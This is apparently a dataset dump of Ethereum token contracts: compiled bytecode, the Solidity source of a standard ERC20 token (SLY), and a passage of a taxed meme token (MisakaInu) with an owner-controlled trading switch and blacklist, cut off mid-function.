ffffffffffffff16815260200190815260200160002081905550611350826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461170590919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061149282600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461170590919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156116e057600080fd5b6116e98161186e565b50565b60008282111515156116fa57fe5b818303905092915050565b6000818301905082811015151561171857fe5b80905092915050565b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115151561176e57600080fd5b6117bf816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116ec90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611816816001546116ec90919063ffffffff16565b6001819055508173ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a25050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156118aa57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505600a165627a7a72305820c77ea8518edee4949b3519078b6ab7212075808f7bcab1da1b1dcd8b4faf5cb00029
|
{"success": true, "error": null, "results": {}}
| 2,620 |
0x7928c8aBF1F74eF9F96D4D0a44e3b4209d360785
|
pragma solidity 0.4.24;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract SelfllerySLYToken is StandardToken, Ownable {
using SafeMath for uint256;
uint256 constant internal TOKEN_TOTAL_SUPPLY = 50000000000;
string constant internal TOKEN_NAME = "SELFLLERY token";
string constant internal TOKEN_SYMBOL = "SLY";
uint8 constant internal TOKEN_DECIMALS = 18;
/// Token name
string public name;
/// Token symbol
string public symbol;
/// The number of digits after the decimal point
uint8 public decimals;
event Burn(address indexed burner, uint256 amount);
/**
* @dev Constructor
*/
constructor() public {
totalSupply_ = (TOKEN_TOTAL_SUPPLY).mul(1e18); //Token cents
balances[msg.sender] = totalSupply_;
name = TOKEN_NAME;
symbol = TOKEN_SYMBOL;
decimals = TOKEN_DECIMALS;
}
/**
* @dev Burn tokens from owner's address
* @param _amount The amount of tokens to be burnt
*/
function burn(uint256 _amount) public onlyOwner {
address who = msg.sender;
require(_amount <= balances[who]);
balances[who] = balances[who].sub(_amount);
totalSupply_ = totalSupply_.sub(_amount);
emit Burn(who, _amount);
emit Transfer(who, address(0), _amount);
}
}
|
0x6080604052600436106100db576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100e0578063095ea7b31461017057806318160ddd146101d557806323b872dd14610200578063313ce5671461028557806342966c68146102b657806366188463146102e357806370a0823114610348578063715018a61461039f5780638da5cb5b146103b657806395d89b411461040d578063a9059cbb1461049d578063d73dd62314610502578063dd62ed3e14610567578063f2fde38b146105de575b600080fd5b3480156100ec57600080fd5b506100f5610621565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013557808201518184015260208101905061011a565b50505050905090810190601f1680156101625780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561017c57600080fd5b506101bb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106bf565b604051808215151515815260200191505060405180910390f35b3480156101e157600080fd5b506101ea6107b1565b6040518082815260200191505060405180910390f35b34801561020c57600080fd5b5061026b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107bb565b604051808215151515815260200191505060405180910390f35b34801561029157600080fd5b5061029a610b75565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102c257600080fd5b506102e160048036038101908080359060200190929190505050610b88565b005b3480156102ef57600080fd5b5061032e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d9c565b604051808215151515815260200191505060405180910390f35b34801561035457600080fd5b50610389600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061102d565b6040518082815260200191505060405180910390f35b3480156103ab57600080fd5b506103b4611075565b005b3480156103c257600080fd5b506103cb61117a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561041957600080fd5b506104226111a0565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610462578082015181840152602081019050610447565b50505050905090810190601f16801561048f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156104a957600080fd5b506104e8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061123e565b604051808215151515815260200191505060405180910390f35b34801561050e57600080fd5b5061054d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061145d565b604051808215151515815260200191505060405180910390f35b34801561057357600080fd5b506105c8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611659565b6040518082815260200191505060405180910390f35b3480156105ea57600080fd5b5061061f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116e0565b005b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106b75780601f1061068c576101008083540402835291602001916106b7565b820191906000526020600020905b81548152906001019060200180831161069a57829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156107f857600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561084557600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156108d057600080fd5b610921826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461174890919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109b4826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461176190919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a8582600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461174890919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600660009054906101000a900460ff1681565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610be657600080fd5b3390506000808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610c3657600080fd5b610c87826000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461174890919063ffffffff16565b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610cde8260015461174890919063ffffffff16565b6001819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610ead576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f41565b610ec0838261174890919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156110d157600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26000600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156112365780601f1061120b57610100808354040283529160200191611236565b820191906000526020600020905b81548152906001019060200180831161121957829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561127b57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156112c857600080fd5b611319826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461174890919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113ac826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461176190919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60006114ee82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461176190919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561173c57600080fd5b6117458161177d565b50565b600082821115151561175657fe5b818303905092915050565b6000818301905082811015151561177457fe5b80905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156117b957600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008083141561188c57600090506118ab565b818302905081838281151561189d57fe5b041415156118a757fe5b8090505b929150505600a165627a7a723058206ca5fc694712ad8a02e755cc64a6a5b30c2676418989497b2dc512c95d9784730029
|
{"success": true, "error": null, "results": {}}
| 2,621 |
0x86Ac2BefE0e8E259E0e5E82E1bFb0EeBF73d5d3e
|
/**
Misaka Inu - Stealth launching soon
@MisakaInuPortal
- 3% max transaction amount on launch
- Liquidity Lock & Contract ownership renounce
- Low fees
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract MisakaInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "MisakaInu";
string private constant _symbol = "MINU";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 8;
//Sell Fee
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 8;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0xaDF553C5187449f24e60010f5D35d6D89a60625F);
address payable private _marketingAddress = payable(0xaDF553C5187449f24e60010f5D35d6D89a60625F);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 300000 * 10**9;
uint256 public _maxWalletSize = 4000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);/////////////////////////////////////////////////
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
